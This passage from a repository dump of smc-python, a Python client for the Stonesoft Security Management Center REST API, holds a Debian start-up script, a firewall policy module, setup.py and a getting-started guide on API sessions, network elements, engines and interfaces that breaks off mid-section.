logger.info(\"No element named: %s, nothing to remove\" % name)" }, { "alpha_fraction": 0.6321899890899658, "alphanum_fraction": 0.6390501260757446, "avg_line_length": 21.034883499145508, "blob_id": "e50ee5f16ae2927aefa361c795d9d2f74cab9b8b", "content_id": "df49f0d92b680f5c48359d1aa476dd5d356aa6a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1895, "license_type": "no_license", "max_line_length": 101, "num_lines": 86, "path": "/debian_start.sh", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nfunction welcome()\n{\n echo \"[INFO] This tool starts smc-python on a linux debian based distro\"\n cat /etc/debian_version\n}\n\nfunction require()\n{\n program=\"$1\"\n package=\"$2\"\n prog_path=$(which \"$program\")\n if [[ -z $prog_path ]]\n then\n\techo \"[INFO] can't find program $program. trying to install it fr'om package\"\n\tapt-get install $package\n\tprog_path=$(which \"$program\")\n\tif [[ -z $prog_path ]]\n\tthen\n\t echo \"[ERROR] can't find program $program. trying to install it from package\" >&2\t\n\t exit 1\n\tfi\n fi\n echo \"$prog_path\"\n}\n\nfunction create_smc_venv()\n{\n local smc_venv=$1\n virtualenv=$(require virtualenv virtualenv)\n\n if ${virtualenv} ${smc_venv}\n then\n\techo \"[INFO] Environment ${smc_env} created\"\n else\n\techo \"[ERROR] Environment ${smc_env} creation failure\" >&2\n fi\n}\n\nfunction enter_virtual_env()\n{\n local smc_venv=$1\n if [[ -f ${smc_venv}/bin/activate ]]\n then\n\tsource ${smc_venv}/bin/activate\t\n\tif [[ ! -e ${smc_venv}/installed ]]\n\tthen\n\t python setup.py install\t \n\t echo \"$(date) $0 did install\" >${smc_venv}/installed\n\tfi\n\techo \"[INFO] you are now in ${smc_venv} environment; enter exit to exit.\"\n else\n\techo \"[ERROR] no activate script found within ${smc_venv} \" >&2\n\texit 1\n fi\n}\n\nwelcome\n\nsmc_venv=smc_venv\n\nif [[ ! -d ${smc_venv} ]]\nthen\n echo \"[INFO] smc python virtual environment '$smc_venv' does not exists, creating it\"\n create_smc_venv \"$smc_venv\"\nfi\n\nif [[ ! -d ${smc_venv} ]]\nthen\n echo \"[ERROR] something unexpected happend, no python virtual environment '${smc_venv} found\" >&2\n exit 1\nfi\n\nenter_virtual_env ${smc_venv}\n\nif [[ ! -e ~/.smcrc ]]\nthen\n echo \"[WARNING] smc resource definition ~/.smcrc is missing\" >&2\nfi\n\necho \"[INFO] use Ctrl+D to exit smc cli shell\"\npython smc/cli/main.py\n\necho \"[INFO] you are in ${smc_venv} environment; enter exit to exit.\"\nexec bash\n" }, { "alpha_fraction": 0.6045509576797485, "alphanum_fraction": 0.607309103012085, "avg_line_length": 34.371952056884766, "blob_id": "234a8a4e686df70460ad5099760c345c0e0c8929", "content_id": "8568909cb239e33c845d24eb01db08c4e057cf91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11602, "license_type": "no_license", "max_line_length": 120, "num_lines": 328, "path": "/smc/elements/policy.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nPolicy module represents the classes required to obtaining and manipulating policies within the SMC.\n\nPolicy is the abstract base class for all policy subclasses such as :class:`FirewallPolicy`, :class:`InspectionPolicy`, \nand :class:`FileFilteringPolicy`. \nEach policy type should first be loaded before changes can be made. \n\nTo load an existing policy type::\n\n FirewallPolicy('existing_policy_by_name').load()\n \nTo create a new policy, use::\n\n FirewallPolicy.create('newpolicy', 'layer3_fw_template')\n FirewallPolicy('newpolicy').load()\n \nExample rule creation::\n\n policy = FirewallPolicy('newpolicy').load()\n policy.open()\n policy.ipv4_rule.create(name='myrule', \n sources=mysources,\n destinations=mydestinations, \n services=myservices, \n action='permit')\n policy.save()\n\n.. note:: It is not required to call open() if simple operations are being performed. \n If longer running operations are needed, calling open() will lock the policy from external modifications\n until save() is called.\n\nExample rule deletion::\n\n policy = FirewallPolicy('newpolicy').load()\n for rule in policy.fw_ipv4_access_rules:\n if rule.name == 'myrule':\n rule.delete()\n\"\"\"\n\nfrom abc import ABCMeta, abstractmethod\nimport smc.actions.search as search\nimport smc.api.common\nfrom smc.elements.helpers import find_link_by_name\nfrom smc.api.exceptions import SMCException, LoadPolicyFailed,\\\n CreatePolicyFailed\nfrom smc.elements.element import SMCElement\nimport smc.elements.collections as collections\nfrom smc.elements.rule import IPv4Rule, IPv4NATRule, IPv6Rule, IPv6NATRule, Rule\n\nclass Policy(object):\n \"\"\" \n Policy is an abstract base class for all policy types managed by the SMC.\n This base class is not intended to be instantiated directly and thus has two\n abstract methods, load() and create().\n \n Subclasses should implement create(....) individually as each subclass will likely \n have different input requirements.\n \n All generic methods that are policy level, such as 'open', 'save', 'force_unlock',\n 'export', and 'upload' are encapsulated into this base class.\n \"\"\"\n __metaclass__ = ABCMeta\n \n def __init__(self, name):\n self.name = name #: Name of policy\n \n @abstractmethod \n def load(self):\n \"\"\" Load top level policy settings for selected policy\n Called via super from inheriting subclass\n \n :return: self\n \"\"\"\n base_policy = search.element_info_as_json(self.name)\n if base_policy:\n policy_cfg = search.element_by_href_as_json(base_policy.get('href'))\n if policy_cfg:\n for k, v in policy_cfg.iteritems():\n setattr(self, k, v)\n else:\n raise SMCException(\"Policy does not exist: %s\" % self.name)\n return self \n\n @abstractmethod\n def create(self):\n \"\"\" \n Implementation should be provided by the subclass\n \n For example::\n \n FirewallPolicy.create('mypolicy', ....)\n\n Each policy type have slightly different requirements for referencing adjacent\n policies or required policy references.\n \n To find existing policies or templates, use::\n \n smc.search.inspection.policies(), \n smc.search.file_filtering_policies(), etc.\n \"\"\"\n pass\n \n def upload(self, device, \n wait_for_finish=True):\n \"\"\" \n Upload policy to specific device. This is an asynchronous call\n that will return a 'follower' link that can be queried to determine \n the status of the task. \n \n If wait_for_finish is False, the progress\n href is returned when calling this method. If wait_for_finish is\n True, this generator function will return the new messages as they\n arrive.\n \n :method: POST\n :param device: name of device to upload policy to\n :param wait_for_finish: whether to wait in a loop until the upload completes\n :return: generator with updates, or follower href if wait_for_finish=False\n \"\"\"\n element = SMCElement(\n href=find_link_by_name('upload', self.link),\n params={'filter': device}).create()\n if not element.msg:\n return smc.api.common.async_handler(element.json.get('follower'), \n wait_for_finish=wait_for_finish)\n else: \n return [element]\n\n def open(self):\n \"\"\" \n Open policy locks the current policy, Use when making multiple\n edits that may require more time. Simple create or deleting elements\n generally can be done without locking via open.\n \n :method: GET\n :return: SMCResult, href set to location if success, msg attr set if fail\n \"\"\"\n return SMCElement(\n href=find_link_by_name('open', self.link)).create()\n \n def save(self):\n \"\"\" Save policy that was modified \n \n :method: POST\n :return: SMCResult, href set to location if success, msg attr set if fail\n \"\"\"\n return SMCElement(\n href=find_link_by_name('save', self.link)).create()\n \n def force_unlock(self):\n \"\"\" Forcibly unlock a locked policy \n \n :method: POST\n :return: SMCResult, success unless msg attr set\n \"\"\"\n return SMCElement(\n href=find_link_by_name('force_unlock', self.link)).create()\n\n def export(self, wait_for_finish=True, filename='policy_export.zip'):\n \"\"\" Export the policy\n \n :method: POST\n :param wait_for_finish: wait for the async process to finish or not\n :param filename: specifying the filename indicates export should be downloaded\n :return: None if success and file downloaded indicated. SMCResult with msg attr\n set upon failure\n \"\"\"\n element = SMCElement(\n href=find_link_by_name('export', self.link)).create()\n if not element.msg: #no error\n href = next(smc.api.common.async_handler(element.json.get('follower'), \n display_msg=False))\n \n return smc.api.common.fetch_content_as_file(href, filename)\n else: \n return [element]\n \n def search_rule(self, parameter):\n pass\n\nclass FirewallPolicy(Policy):\n \"\"\" \n This subclass represents a FirewallPolicy installed on layer 3 \n devices. Layer 3 FW's support either ipv4 or ipv6 rules. \n \n They also have NAT rules and reference to an Inspection and\n File Filtering Policy.\n \n Attributes:\n \n :ivar template: which policy template is used\n :ivar file_filtering_policy: mapped file filtering policy\n :ivar inspection_policy: mapping inspection policy\n \n :param name: name of firewall policy\n :return: self\n \"\"\"\n policy_type = 'fw_policy'\n \n def __init__(self, name):\n Policy.__init__(self, name)\n self.name = name\n \n def load(self):\n \"\"\" \n Load the policy specified::\n \n FirewallPolicy('mypolicy').load()\n \n :return: FirewallPolicy\n \"\"\" \n super(FirewallPolicy, self).load()\n return self\n \n @classmethod\n def create(cls, name, template):\n \"\"\" \n Create Firewall Policy. Template policy is required for the\n policy. The template policy parameter should be the href of the\n template entry as obtained from the SMC API.\n \n This policy will then inherit the Inspection and File Filtering\n policy from that template.\n Existing policies and templates are retrievable from search methods, \n such as::\n \n smc.search.fw_template_policies(policy=None)\n \n :mathod: POST\n :param str name: name of policy\n :param str template: name of the FW template to base policy on\n :return: SMCResult with href attribute set with location of new policy\n \n To use after successful creation, call::\n \n FirewallPolicy('newpolicy').load()\n \"\"\"\n template_href = collections.describe_fw_template_policies(name=[template])\n\n if not template_href:\n raise CreatePolicyFailed('Cannot find fw policy template: {}'.format(template))\n policy = {'name': name,\n 'template': template_href[0].href}\n policy_href = search.element_entry_point('fw_policy')\n \n result = SMCElement(href=policy_href, json=policy).create()\n if result.href:\n return FirewallPolicy(name).load()\n else:\n raise CreatePolicyFailed('Failed to load firewall policy: {}'.format(\n result.msg))\n \n @property\n def fw_ipv4_access_rules(self):\n \"\"\"\n Return list of Rule elements\n \n :return: list :py:class:`Rule`\n \"\"\"\n rule_lst = search.element_by_href_as_json(\n find_link_by_name('fw_ipv4_access_rules', self.link))\n rules=[] \n for rule in rule_lst:\n rules.append(Rule(**rule))\n return rules\n \n @property\n def fw_ipv4_nat_rules(self):\n return find_link_by_name('fw_ipv4_nat_rules', self.link)\n \n @property\n def fw_ipv6_access_rules(self):\n return find_link_by_name('fw_ipv6_access_rules', self.link)\n \n @property\n def fw_ipv6_nat_rules(self):\n return find_link_by_name('fw_ipv6_nat_rules', self.link) \n \n @property\n def ipv4_rule(self):\n \"\"\"\n Access to IPv4Rule object for creating a rule. This will pass in\n the href for the rule location on this policy and create will be\n called in the rule\n \n :return: :py:class:`IPv4Rule`\n \"\"\"\n return IPv4Rule(\n href=find_link_by_name('fw_ipv4_access_rules', self.link))\n \n @property\n def ipv4_nat_rule(self):\n return IPv4NATRule()\n \n @property\n def ipv6_rule(self):\n return IPv6Rule()\n \n @property\n def ipv6_nat_rule(self):\n return IPv6NATRule()\n \n @property\n def href(self):\n return find_link_by_name('self', self.link)\n \nclass InspectionPolicy(Policy):\n \"\"\"\n The Inspection Policy references a specific inspection policy that is a property\n (reference) to either a FirewallPolicy, IPSPolicy or Layer2Policy. This policy\n defines specific characteristics for threat based prevention. \n In addition, exceptions can be made at this policy level to bypass scanning based\n on the rule properties.\n \"\"\"\n def __init__(self, name):\n Policy.__init__(self, name)\n print \"Inspection Policy\"\n \nclass FileFilteringPolicy(Policy):\n \"\"\" The File Filtering Policy references a specific file based policy for doing \n additional inspection based on file types. Use the policy parameters to specify how\n certain files are treated by either threat intelligence feeds, sandbox or by local AV\n scanning. You can also use this policy to disable threat prevention based on specific\n files.\n \"\"\"\n def __init__(self, name):\n Policy.__init__(self, name)\n print \"File Filtering Policy\"\n" }, { "alpha_fraction": 0.5925233364105225, "alphanum_fraction": 0.5962616801261902, "avg_line_length": 27.157894134521484, "blob_id": "cbb1cf62b0c260e383f480e02b71830c27cc7393", "content_id": "0376312f41fcf88c40210318c8f95f6e7b11782d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 535, "license_type": "no_license", "max_line_length": 77, "num_lines": 19, "path": "/setup.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "from setuptools import setup\n\ndef readme():\n with open('README.rst') as f:\n return f.read()\n \nsetup(name='smc-python',\n version='0.2',\n description='Python based API to Stonesoft Security Management Center',\n url='http://github.com/gabstopper/smc-python',\n author='David LePage',\n author_email='[email protected]',\n license='None',\n packages=['smc', 'smc.actions', 'smc.api', 'smc.elements'],\n install_requires=[\n 'requests'\n ],\n include_package_data=True,\n zip_safe=False)\n" }, { "alpha_fraction": 0.6952694654464722, "alphanum_fraction": 0.7132634520530701, "avg_line_length": 37.43498229980469, "blob_id": "6764462439852aa0b97749b72117d9dd228b6d47", "content_id": "11868ac822a3ba7d8c108954aa686c677437c78f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 33400, "license_type": "no_license", "max_line_length": 121, "num_lines": 869, "path": "/smc/docs/pages/getting_started.rst", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "Getting Started\n===============\n\nCreating the session\n--------------------\n\nIn order to interact with the SMC ReST API, you must first obtain a valid login session. \nThe session is generated by authenticating an API Client and the associated authentication key.\n\nOnce the login session has been retrieved successfully, all commands or controls will reuse \nthe same session. \n\nWhen exiting, call `smc.api.web.logout()` to remove the active session from the SMC.\n\n.. note:: Idle API sessions will still time out after a default (configurable) amount of time\n\nSteps to enable API Communication on the Stonesoft Management Center:\n\n#. Enable SMC API service on the properties of the Management Server\n#. Create an API Client and obtain the 'authentication key'\n\nOnce you have enabled this and have access to the authentication key (keep this safe), \nyou can establish a session to the SMC by either providing the url and apikey in the \nconstructor, or storing this in a file located ~/.smcrc.\n\nStoring the credential information in the user profile file is preferred.\n\nFor example, providing the connect information through the constructor:\n\n.. code-block:: python\n\n from smc.api.session import session\n\n session.login(url='http://1.1.1.1:8082', api_key='EiGpKD4QxlLJ25dbBEp20001')\n ....do stuff....\n session.logout()\n\nIf a specific API version is requested, you can add the following argument to the login\nconstructor. Otherwise the latest API version available will be used:\n\n.. code-block:: python\n\n from smc.api.session import session\n session.login(url='http://1.1.1.1:8082', api_key='EiGpKD4QxlLJ25dbBEp20001', \n api_version='5.10')\n\nIf storing in a user profile configuration file, the syntax for that is:\n\n.. code-block:: python\n\n [smc]\n smc_address=1.1.1.1\n smc_apikey=xxxxxxxxxxxxxxxxxxxxxxxxx\n smc_port=8082 (optional; default:8082)\n \nOnce the session has been successfully obtained, there is no reason to re-authenticate a new session\nunless `logout` has been called.\n\n.. note:: If you have a longer running application where the session may time out due to long delays \n\t\t between calls, the smc-python API will re-authenticate the session automatically as long as a previous \n\t\t session was already obtained and stored in the session cache.\n\nResources\n---------\n\nResources are specific areas within the smc-python API that require 'load' actions to retrieve the \nconfiguration data and encapsulate specific methods based on the element type. \nFor example, to perform actions against a specific engine within SMC, you must first identify the engine and\nperform load the configuration:\n\n.. code-block:: python\n\n engine = Engine('myengine').load()\n \nOnce the engine is loaded, all methods for that engine and engine nodes are provided in the resulting \nengine reference.\n\nA list of current resources are:\n\n* Engine: encapsulates all engine types; :py:class:`smc.elements.engine.Engine`\n* FirewallPolicy: configuration of firewall policies; :py:class:`smc.elements.policy.FirewallPolicy`\n* VPNPolicy: VPN Policy specific actions; :py:class:`smc.elements.vpn.VPNPolicy`\n* External Gateway: VPN external gateway actions; :py:class:`smc.elements.vpn.ExternalGateway`\n\nMuch of the functionality is encapsulated into these top level resources. For example, after loading \na VPNPolicy, you can add external endpoints (for External Gateways), add VPN Sites, enable/disable sites, etc.\n\nCollections\n-----------\n\nCollections are functions provided to return base level information about a \nspecific SMC element by type :py:mod:`smc.elements.collections`\nSome collection types have additional filters that can be used to get more specific \nresults.\n\nEach collection returns a :py:class:`smc.elements.collections.Element` with 3 attributes\nset:\n\n* name (list): name of element\n* type: type of element\n* href: href to location of element\n\nThe Element returned will not have the full element details but will provide a linkage to \nretrieving them.\n\nTo search for all host objects:\n\n.. code-block:: python\n\n for host in collections.describe_hosts():\n \t print host\n \nTo search only for a host name 'test':\n\n.. code-block:: python\n\n for host in collections.describe_hosts(name=['test']):\n print host\n\nTo search for all hosts with 'test' in the name:\n\n.. code-block:: python\n\n for host in collections.describe_hosts(name=['test'], exact_match=False):\n print host\n \nCreating elements\n-----------------\n\nElements within the Stonesoft Management Server are common object types that are referenced\nby other configurable areas of the system such as policy, routing, VPN, etc. \n\nCreating elements with smc-python can be done for all of the common element types:\n\n* Hosts\n* IP Range\n* Networks\n* Routers\n* Groups\n* TCPService\n* UDPService\n* TCPServiceGroup\n* UDPServiceGroup\n* ICMPService\n* ICMPv6Service\n\nOftentimes these objects are cross referenced within the configuration, like when creating rule or\nNAT policy.\nAll calls to create() will return an :py:class:`smc.api.web.SMCResult` which will hold the attributes\nnecessary to determine if the creation was successful, and if not, the reason. The href attribute will\nhave the new HREF for the created object and msg attribute will hold an error message, if any.\n\nExamples of creating elements are as follows:\n\n.. code-block:: python\n\n from smc.elements.element import Host, Router, Network, IpRange, Group, Service\n \n IpRange('myrange', '10.0.0.1-10.0.0.254').create()\n Host('myhost', '192.168.1.1', secondary_ip='192.168.1.2').create()\n Router('defaultgw', '172.18.1.1', comment='internet facing gw').create()\n Network('vpn network', '10.10.1.0/24').create()\n \n Group('group').create() #no members\n Group('group', members=['1.1.1.1','1.1.1.2']).create() \n \n TCPService('tcp666', 666).create()\n UDPService('udp5000-5001', 5000, 5001).create()\n \nSee the :py:class:`smc.elements.element` reference documentation for more specific details.\n\nModifying elements\n------------------ \n\nIt is possible to modify elements after creation by calling the classmethod modify of each\nelement.\nOnce called, the json attribute will have the existing settings for the object type and can\nbe modified. After making modifications to the object attributes, call update() to update the\nelement on the SMC.\n\nExample of modifying a TCPServiceGroup by changing the name and adding an additional service:\n\n.. code-block:: python\n \n service = TCPServiceGroup.modify('api-tcpgrp2') #Get raw group json\n tcp = TCPService('newservice', 6000).create() #create a new tcp service\n service.json['name'] = 'api-tcpgrp2' #change original service name\n service.json.get('element').append(tcp.href) #add the new service\n service.update() #call update to refresh element\n \nExample of adding TCP and UDP Services to an existing Service Group:\n\n.. code-block:: python\n \n grp = ServiceGroup.modify('api-servicegrp')\n udp = UDPService('api-udp-svc', 6000).create()\n tcp = TCPService('api-tcp-svc', 6000).create()\n grp.json.get('element').extend([udp.href, tcp.href])\n grp.update()\n\nExample of changing an existing Host and IP address:\n\n.. code-block:: python\n\n host = Host.modify('ami')\n host.json['address'] = '2.2.2.2'\n host.json['name'] = 'ami-changed'\n host.update()\n\nEmpty out all members of a specific network element group:\n\n.. code-block:: python\n \n group = Group.modify('mygroup')\n group.json['element'] = []\n group.update()\n \nIf modification was successful, SMCResult will have the href attribute set with the location of\nthe element, or the msg attribute set with reason if modification fails.\n \nCreating engines\n----------------\n\nEngines are the definitions for a layer 3 FW, layer 2 FW, IPS, Cluster Firewalls, Master Engines,\nVirtual Engines or AWS engines. \n\nAn engine defines the basic settings to make the device or virtual instance operational such as\ninterfaces, routes, ip addresses, networks, dns servers, etc. \n\nFrom a class hierarchy perspective, this relationship can be represented as:\n\nEngine (object) --has-a--> Node(s) (object) ---> \n\t\t\t\tLayer3 Firewall / Layer2 Firewall / IPS / Firewall Cluster / VirtualL3Engine\n\nCreating engines are done using the Firewall specific base classes.\n\nNodes are individual devices represented as properties of an engine element. \nIn the case of single device deployments, there is only one node. For clusters, there will be at a minimum \n2 nodes, max of 16. The :py:mod:`smc.elements.engines:node` class represents the interface to managing and \nsending commands individually to a node in a cluster. \n\nBy default, each constructor will have default values for the interface used for management (interface 0).\nThis can be overridden as necessary.\n\nCreating Layer3 Firewall\n++++++++++++++++++++++++\n\nFor Layer 3 single firewall engines, the minimum requirements are to specify a name, management IP and\nmanagement network. By default, the Layer 3 firewall will use interface 0 as the management port. This can\nbe overridden in the constructor if a different interface is required. \n\nTo create a layer 3 firewall:\n\n.. code-block:: python\n\n from smc.elements.engines import Layer3Firewall\n \n Layer3Firewall.create('myfirewall', '1.1.1.1', '1.1.1.0/24')\n\nSee reference for more information: :py:class:`smc.elements.engines.Layer3Firewall`\n\nCreating Layer 2 Firewall\n+++++++++++++++++++++++++\n\nFor Layer 2 Firewall and IPS engines, an inline interface pair will automatically be \ncreated using interfaces 1-2 but can be overridden in the constructor to use different\ninterface mappings.\n\nCreating a Layer2 Firewall with alternative management interface and DNS settings:\n\n.. code-block:: python\n\n from smc.elements.engines import Layer2Firewall\n \n Layer2Firewall.create('myfirewall', '1.1.1.1', '1.1.1.0/24', mgmt_interface=5, dns=['172.18.1.20'])\n\nSee reference for more information: :py:class:`smc.elements.engines.Layer2Firewall`\n \t\t\t\t\t\t\t\t\t \nCreating IPS engine\n+++++++++++++++++++\n\nUsing alternative inline interface pair (mgmt on interface 0):\n \n .. code-block:: python\n\n from smc.elements.engines import IPS\n \n IPS.create('myfirewall', '1.1.1.1', '1.1.1.0/24', inline_interface='5-6')\n \nOnce you have created your engine, it is possible to use any of the engine or node level commands\nto control the nodes.\n\nSee reference for more information: :py:class:`smc.elements.engines.IPS`\n\nCreating Layer3Virtual Engine\n+++++++++++++++++++++++++++++\n\nA virtual engine is a host that resides on a Master Engine node used for multiple FW contexts. Stonesoft\nmaps a 'virtual resource' to a virtual engine as a way to map the master engine interface to the individual\ninstance residing within the physical device. \n\nIn order to create a virtual engine, you must first manually create the Master Engine from the SMC, then \ncreate the interfaces that will be used for the virtual instances.\n\nThe first step in creating the virtual engine is to create the virtual resource and map that to a physical interface\nor VLAN on the master engine. Once that has been created, add IP addresses to the virtual engine interfaces as necessary.\n\nTo create the virtual resource:\n\n.. code-block:: python\n \n \t\tengine.virtual_resource_add(virtual_engine_name='ve-1', vfw_id=1)\n \nSee :py:func:`smc.elements.engine.Engine.virtual_resource_add` for more information.\n\nCreating a layer 3 virtual engine with 3 physical interfaces:\n \n.. code-block:: python\n \n Layer3VirtualEngine.\n create('red', 'my_master_engine', 've-1',\n interfaces=[\n {'ipaddress': '5.5.5.5', 'mask': '5.5.5.5/30', 'interface_id':0, zone=''},\n {'ipaddress': '6.6.6.6', 'mask': '6.6.6.0/24', 'interface_id':1, zone=''},\n {'ipaddress': '7.7.7.7', 'mask': '7.7.7.0/24', 'interface_id':2, zone=''}]\n\n.. note:: Virtual engine interface id's will be staggered based on used interfaces\n by the master engine.\n For example, if the master engine is using physical interface 0 for \n management, the virtual engine may be assigned physical interface 1 \n for use. From an indexing perspective, the naming within the virtual engine \n configuration will start at interface 0 but be using physical interface 1.\n\nSee reference for more information: :py:class:`smc.elements.engines.Layer3VirtualEngine`\n \nCreating Firewall Cluster\n+++++++++++++++++++++++++\n\nCreating a layer 3 firewall cluster requires additional interface related information to bootstrap the\nengine properly.\nWith NGFW clusters, a \"cluster virtual interface\" is required (if only one interface is used) to specify \nthe cluster address as well as each engine specific node IP address. In addition, a macaddress is required \nfor packetdispatch functionality (recommended HA configuration).\n\nBy default, the FirewallCluster class will allow as many nodes as needed (up to 16 per cluster) for the\nsingular interface. The node specific interfaces are defined by passing in the 'nodes' argument to the\nconstructor as follows:\n\n.. code-block:: python\n\n engine = FirewallCluster.create(name='mycluster', \n cluster_virtual='1.1.1.1', \n cluster_mask='1.1.1.0/24',\n cluster_nic=0,\n macaddress='02:02:02:02:02:02',\n nodes=[{'address': '1.1.1.2', 'network_value': '1.1.1.0/24', 'nodeid':1},\n {'address': '1.1.1.3', 'network_value': '1.1.1.0/24', 'nodeid':2},\n {'address': '1.1.1.4', 'network_value': '1.1.1.0/24', 'nodeid':3}],\n domain_server_address=['1.1.1.1'], \n zone_ref=zone_helper('Internal'))\n \n \nInterfaces\n++++++++++\n\nAfter your engine has been successfully created with the default interfaces, you can add and remove \ninterfaces as needed.\n\nFrom an interface perspective, there are several different interface types that are have subtle differences.\nThe supported physical interface types available are:\n\n* Single Node Dedicated Interface (Single Layer 3 Firewall)\n* Node Dedicated Interface (Used on Clusters, IPS, Layer 2 Firewall)\n* Inline Interface (IPS / Layer2 Firewall)\n* Capture Interface (IPS / Layer2 Firewall)\n* Cluster Virtual Interface \n* Virtual Physical Interface (used for Layer 3 Virtual Engines)\n\nThe distinction is subtle but straightforward. A single node interface is used on a single layer 3 firewall\ninstance and represents a unique interface with dedicated IP Address.\n\nA node dedicated interface is used on Layer 2 and IPS engines as management based interfaces and may also be used as\na heartbeat (for example). \n\nIt is a unique IP address for each machine. It is not used for operative traffic in Firewall Clusters, \nIPS engines, and Layer 2 Firewalls. \nFirewall Clusters use a second type of interface, Cluster Virtual IP Address (CVI), for operative traffic. \n\nIPS engines have two types of interfaces for traffic inspection: the Capture Interface and the Inline Interface. \nLayer 2 Firewalls only have Inline Interfaces for traffic inspection.\n\n.. note:: When creating your engine instance, the correct type/s of interfaces are created automatically\n without having to specify the type. However, this will be relavant when adding interfaces to an\n existing device after creation.\n\nTo access interface information on existing engines, or to add to an existing engine, you must first load the\nengine context configuration. It is not required to know the engine type (layer3, layer2, ips) as you can load \nby the parent class :py:class:`smc.elements.engines.Engine`.\n\nFor example, if I know I have an engine named 'myengine' (despite the engine 'role'), it can be\nloaded via:\n\n.. code-block:: python\n\n from smc.elements.engines import Engine\n \n engine = Engine('myengine').load()\n\t\nIt is not possible to add certain interface types based on the node type. For example, it is not \npossible to add inline or capture interfaces to layer 3 FW engines. However, this is handled\nautomatically by the SMC API and SMCResult will indicate whether the operation/s succeeds or fails\nand why.\n\nAdding interfaces are handled by property methods on the engine class. \n\nTo add a single node interface to an existing engine as Interface 10:\n\n.. code-block:: python\n\n engine = Engine('myengine').load()\n engine.physical_interface.add_single_node_interface(10, '33.33.33.33', '33.33.33.0/24')\n\nNode Interface's are used on IPS, Layer2 Firewall, Virtual and Cluster Engines and represent either a\nsingle interface or a cluster member interface used for communication.\n\nTo add a node interface to an existing engine:\n\n.. code-block:: python\n\n engine = Engine('myengine').load()\n engine.physical_interface.add_node_interface(10, '32.32.32.32', '32.32.32.0/24')\n \nInline interfaces can only be added to Layer 2 Firewall or IPS engines. An inline interface consists\nof a pair of interfaces that do not necessarily have to be contiguous. Each inline interface requires\nthat a 'logical interface' is defined. This is used to identify the interface pair and can be used to\nsimplify policy. See :py:class:`smc.elements.element.LogicalInterface` for more details.\n\nTo add an inline interface to an existing engine:\n\n.. code-block:: python\n\n logical_interface = logical_intf_helper('MyLogicalInterface') #get logical interface reference\n engine = Engine('myengine').load()\n engine.add_inline_interface('5-6', logical_interface_ref=logical_intf)\n \n.. note:: Use :py:func:`smc.elements.element.logical_intf_helper('name')` which will find the existing\n\t\t logical interface reference or create the logical interface automatically\n\t\t \nCapture Interfaces are used on Layer 2 Firewall or IPS engines as SPAN monitors to view traffic on the wire. \n \nTo add a capture interface to a layer2 FW or IPS:\n\n.. code-block:: python\n\n logical_interface = logical_intf_helper('MyLogicalInterface')\n engine = Engine('myengine').load()\n engine.add_capture_interface(10, logical_interface_ref=logical_interface)\n\nCluster Virtual Interfaces are used on clustered engines and require a defined \"CVI\" (sometimes called a 'VIP'),\nas well as node dedicated interfaces for the engine initiated communications. Each clustered interface will therefore\nhave 3 total address for a cluster of 2 nodes. \n\nTo add a cluster virtual interface on a layer 3 FW cluster:\n\n.. code-block:: python\n \n engine.physical_interface.add_cluster_virtual_interface(\n interface_id=1,\n cluster_virtual='5.5.5.1', \n cluster_mask='5.5.5.0/24', \n macaddress='02:03:03:03:03:03', \n nodes=[{'address':'5.5.5.2', 'network_value':'5.5.5.0/24', 'nodeid':1},\n {'address':'5.5.5.3', 'network_value':'5.5.5.0/24', 'nodeid':2},\n {'address':'5.5.5.4', 'network_value':'5.5.5.0/24', 'nodeid':3}],\n zone_ref=zone_helper('Heartbeat'))\n\n.. warning:: Make sure the cluster virtual netmask matches the node level networks\n \nNodes specified are the individual node dedicated addresses for the cluster members.\n\nVLANs can be applied to layer 3 or inline interfaces. For inline interfaces, these will not have assigned\nIP addresses, however layer 3 interfaces will require addressing as a routed device.\n\nTo add a VLAN to a generic physical interface for single node (layer 3 firewall) or a node interface, \nindependent of engine type:\n\n.. code-block:: python\n\n engine = Engine('myengine').load()\n engine.physical_interface.add_vlan_to_node_interface(23, 154)\n engine.physical_interface.add_vlan_to_node_interface(23, 155)\n engine.physical_interface.add_vlan_to_node_interface(23, 156)\n\nThis will add 3 VLANs to physical interface 23. If this is a layer 3 routed firewall, you may still need\nto add addressing to each VLAN. \n\n.. note:: In the case of Virtual Engines, it may be advisable to create the physical interfaces with \n\t VLANs on the Master Engine and allocate the IP addressing scheme to the Virtual Engine.\n\t \n\nTo add layer 3 interfaces with a VLAN and IP address:\n\n.. note:: The physical interface will be created if it doesn't already exist\n\n.. code-block:: python\n \n engine = Engine('myengine').load()\n engine.physical_interface.add_single_node_interface_to_vlan(2, '3.3.3.3', '3.3.3.0/24', \n vlan_id=3, zone_ref=zone_helper('Internal')\n \nTo add VLANs to layer 2 or IPS inline interfaces:\n\n.. note:: The physical interface will be created if it doesn't already exist\n\n.. code-block:: python\n \n logical_interface = logical_intf_helper('default_eth') #find logical intf or create it\n engine = Engine('myengine').load()\n engine.physical_interface.add_vlan_to_inline_interface('5-6', 56, \n logical_interface_ref=logical_interface)\n engine.physical_interface.add_vlan_to_inline_interface('5-6', 57, \n logical_interface_ref=logical_interface)\n engine.physical_interface.add_vlan_to_inline_interface('5-6', 58, \n logical_interface_ref=logical_interface)\n \nTo see additional information on interfaces, :py:class:`smc.elements.interfaces` reference documentation \n\nDeleting interfaces\n+++++++++++++++++++\n\nDeleting interfaces is done at the engine level. In order to delete an interface, you must first call\nload() on the engine to get the context of the engine.\n\nOnce you have loaded the engine, you can display all available interfaces by calling using the \nengine level property interface:\n:py:func:`smc.elements.engine.Engine.interface` to view all interfaces for the engine.\n\nThe name of the interface is the name the NGFW gives the interface based on interface index. For example, \nphysical interface 1 would be \"Interface 1\" and so on.\n\nTo view all assigned interfaces to the engine:\n\n.. code-block:: python\n\n engine = Engine('engine').load()\n for interface in engine.interface:\n print interface.name, interface.type\n \nDeleting an assigned layer 3 physical interface:\n\n.. code-block:: python\n\n engine = Engine('myfirewall').load()\n for interface in engine.interface:\n if interface.name = 'Interface 2':\n interface.delete()\n\nTo see additional information on interfaces, :py:class:`smc.elements.interfaces` reference documentation\n\nModifying 